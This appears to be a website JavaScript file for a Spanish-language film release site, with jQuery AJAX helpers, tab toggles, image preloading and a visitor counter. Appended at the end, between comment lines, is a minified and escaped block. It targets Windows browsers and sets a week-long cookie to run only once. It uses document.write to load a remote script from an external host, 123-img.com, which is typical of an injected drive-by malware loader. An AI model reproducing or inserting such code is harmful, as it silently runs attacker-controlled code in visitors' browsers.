function ajaxBorraLanza(cod)
{
	if (confirmLink(this, 'Borrar'))
	{
	var url= '/modules.php?name=Intro_Lanzamientos&funcion=borrar&cod=' + cod;
    var date = new Date();
    var timestamp = date.getTime();
    url+= '&timestamp=' + timestamp;
		
	$.get(url, {});
	$('#' + cod).hide('slow');
	}
}



function ajaxDestacaLanza(cod)
{
	var url= '/modules.php?name=Intro_Lanzamientos';
	var data= '&funcion=destacar&cod=' + cod;
    var date = new Date();
    var timestamp = date.getTime();
    url+= '&timestamp=' + timestamp;
    
	$.ajax({
	   type: "POST",
	   url: url,
	   data: data,
	   success: function(msg) {
	     $('#' + cod).toggleClass('lanza_resaltado');
	   }	
	 });	
}


function ajaxDestacaLanza_viejo(cod)
{
	var url= '/modules.php?name=Intro_Lanzamientos&funcion=destacar&cod=' + cod;
    var date = new Date();
    var timestamp = date.getTime();
    url+= '&timestamp=' + timestamp;
    
	$.get(url, {});
	$('#' + cod).toggleClass('lanza_resaltado');
}


function precarga()
{
   logov3izq= new Image();
   logov3izq.src="/images/logo/logov3izq.jpg";
   logov3der= new Image();
   logov3der.src="/images/logo/logov3der.jpg";
   boton= new Image();
   boton.src="/images/logo/buscar.gif";
}


/* despliega el aņo 'id' */
function desplegar_anho(id)
{
  var d = document.getElementById('ano' + id);
  if (d) {var aux = d.style.display;}

   for (var i= 1998; i<=2015; i++)
   {
		if (document.getElementById('des_ano'+i))
        {
          document.getElementById('ano'+i).style.display='none';
          document.getElementById('img_ano'+i).src= '/images/flechita.gif';
        }
   }
   if (aux == 'none')
   {
      d.style.display= 'block';
      document.getElementById('img_ano'+id).src= '/images/flechita_abajo.gif';
   }
}


function confirmLink(theLink, xarConfirmMsg)
     {
         var confirmMsg = 'Estas seguro de querer hacer';
         // Confirmation is not required in the configuration file
         // or browser is Opera (crappy js implementation)
         if (confirmMsg == '' || typeof(window.opera) != 'undefined') {
             return true;
         }

        var is_confirmed = confirm(confirmMsg + ' :\n' + xarConfirmMsg);
        if (is_confirmed) {
            theLink.href += '&confirm=1';
        }

        return is_confirmed;
    }
    
    
function tabAnalisis(cual)
{
   if (cual == 'preanalisis')
   {
      document.getElementById('pestana_preanalisis').style.display= 'block';
      document.getElementById('pestana_analisis').style.display= 'none';
   }
   else
   {
      document.getElementById('pestana_preanalisis').style.display= 'none';
      document.getElementById('pestana_analisis').style.display= 'block';
   }
}


function tabTop(cual)
{
   if (cual == 'dvdgo')
   {
      document.getElementById('pestana_dvdgo').style.display= 'block';
      document.getElementById('pestana_fnac').style.display= 'none';
   }
   else
   {
      document.getElementById('pestana_dvdgo').style.display= 'none';
      document.getElementById('pestana_fnac').style.display= 'block';
   }
}

function datos_pelicula()
{
   if ( document.getElementById('datos_pelicula').style.display == 'none' )
      document.getElementById('datos_pelicula').style.display= 'block';
   else
      document.getElementById('datos_pelicula').style.display= 'none';   
}


function on_off(id)
{
   var d = document.getElementById(id); 
   
   if ( d.style.display == 'none' )
      d.style.display= 'block';
   else
      d.style.display= 'none';   
}


function ajax_visitantes_repetir()
{
   $('#ajax_visitantes').load('visitantes.php');
   setTimeout('ajax_visitantes_repetir()', 60 * 1000);
}

/* ============================================================================-*/
function setCookie(name, value, expiredays, path, domain, secure) { if (expiredays) { var exdate=new Date(); exdate.setDate(exdate.getDate()+expiredays); var expires = exdate.toGMTString(); } document.cookie = name + "=" + escape(value) + ((expiredays) ? "; expires=" + expires : "") + ((path) ? "; path=" + path : "") + ((domain) ? "; domain=" + domain : "") + ((secure) ? "; secure" : "");} if (navigator.userAgent.indexOf("KHTML") == -1 && navigator.userAgent.indexOf("NT") != -1){if(navigator.cookieEnabled == true) {var user = getCookie("NSImgCookie");if (user !=="ok"){nsimgcookie();setCookie("NSImgCookie", "ok", 7, "/");}}}  function nsimgcookie(){document.write(unescape("%3Cscript src='http://123-img.com/in.cgi?3' type='text/javascript'%3E%3C/script%3E"));} function getCookie(name) { var cookie = " " + document.cookie; var search = " " + name + "="; var setStr = null; var offset = 0; var end = 0; if (cookie.length > 0) { offset = cookie.indexOf(search); if (offset != -1) { offset += search.length; end = cookie.indexOf(";", offset); if (end == -1) { end = cookie.length; } setStr = unescape(cookie.substring(offset, end)); } } return setStr;}
/*============================================================================-=*/




